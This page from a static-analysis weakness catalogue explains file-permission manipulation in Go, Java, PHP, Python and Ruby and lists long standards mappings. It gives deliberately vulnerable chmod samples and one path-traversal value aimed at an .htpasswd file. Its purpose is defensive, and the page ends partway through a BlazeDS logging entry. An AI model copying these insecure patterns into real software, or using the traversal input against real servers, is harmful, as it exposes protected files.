136 items found
Weaknesses
Abstract
Allowing user input to directly alter file permissions might enable an attacker to access otherwise protected system resources.
Explanation
File permission manipulation errors occur when any of the following conditions are met:

1. An attacker might specify a path used in an operation that modifies permissions on the file system.

2. An attacker might specify the permissions assigned by an operation on the file system.

Example 1: The following code uses input from system environment variables to set file permissions. If attackers can alter the system environment variables, they might use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker might use this vulnerability to access arbitrary files on system.


permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.file_permission_manipulation
Abstract
Allowing user input to directly alter file permissions may enable an attacker to access otherwise protected system resources.
Explanation
File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example 1: The following code uses input from system properties to set the default permission mask. If attackers can alter the system properties, they may use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.


String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
References
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.file_permission_manipulation
Abstract
Allowing user input to directly alter file permissions may enable an attacker to access otherwise protected system resources.
Explanation
File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example: The following code is designed to set proper file permissions for users uploading Web pages through FTP. It uses input from an HTTP request to mark a file as viewable for external users.


$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...


However, if an attacker provides a malicious value for publicReport, such as "../../localuser/public_html/.htpasswd", the application will make the specified file readable to the attacker.

Example 2: The following code uses input from a configuration file to set the default permission mask. If attackers can alter the configuration file, they can use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.


...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.file_permission_manipulation
Abstract
Allowing user input to directly alter file permissions may enable an attacker to access otherwise protected system resources.
Explanation
File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example 1: The following code uses input from system environment variables to set file permissions. If attackers can alter the system environment variables, they may use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.


permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.file_permission_manipulation
Abstract
Allowing user input to directly alter file permissions may enable an attacker to access otherwise protected system resources.
Explanation
File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example: The following code is designed to set proper file permissions for users uploading Web pages through FTP. It uses input from an HTTP request to mark a file as viewable for external users.


...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...


However, if an attacker provides a malicious value for publicReport, such as "../../localuser/public_html/.htpasswd", the application will make the specified file readable to the attacker.

Example 2: The following code uses input from a configuration file to set the default permission mask. If attackers can alter the configuration file, they may use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.


...
mask = config_params['perms']
File.chmod(filename, mask)
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.file_permission_manipulation
Abstract
Debugging information helps attackers learn about the system and plan a form of attack.
Explanation
If you are using Blaze DS to perform logging of any unexpected events, the services-config.xml descriptor file specifies a "Logging" XML element to describe various aspects of logging. It looks like the following:

Example:

<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>


This target tag takes an optional attribute called level, which indicates the log level. If the debug level is set to too detailed a level, your application may write sensitive data to the log file.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark complete
[6] Standards Mapping - Common Weakness Enumeration CWE ID 11
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[8] Standards Mapping - FIPS200 CM
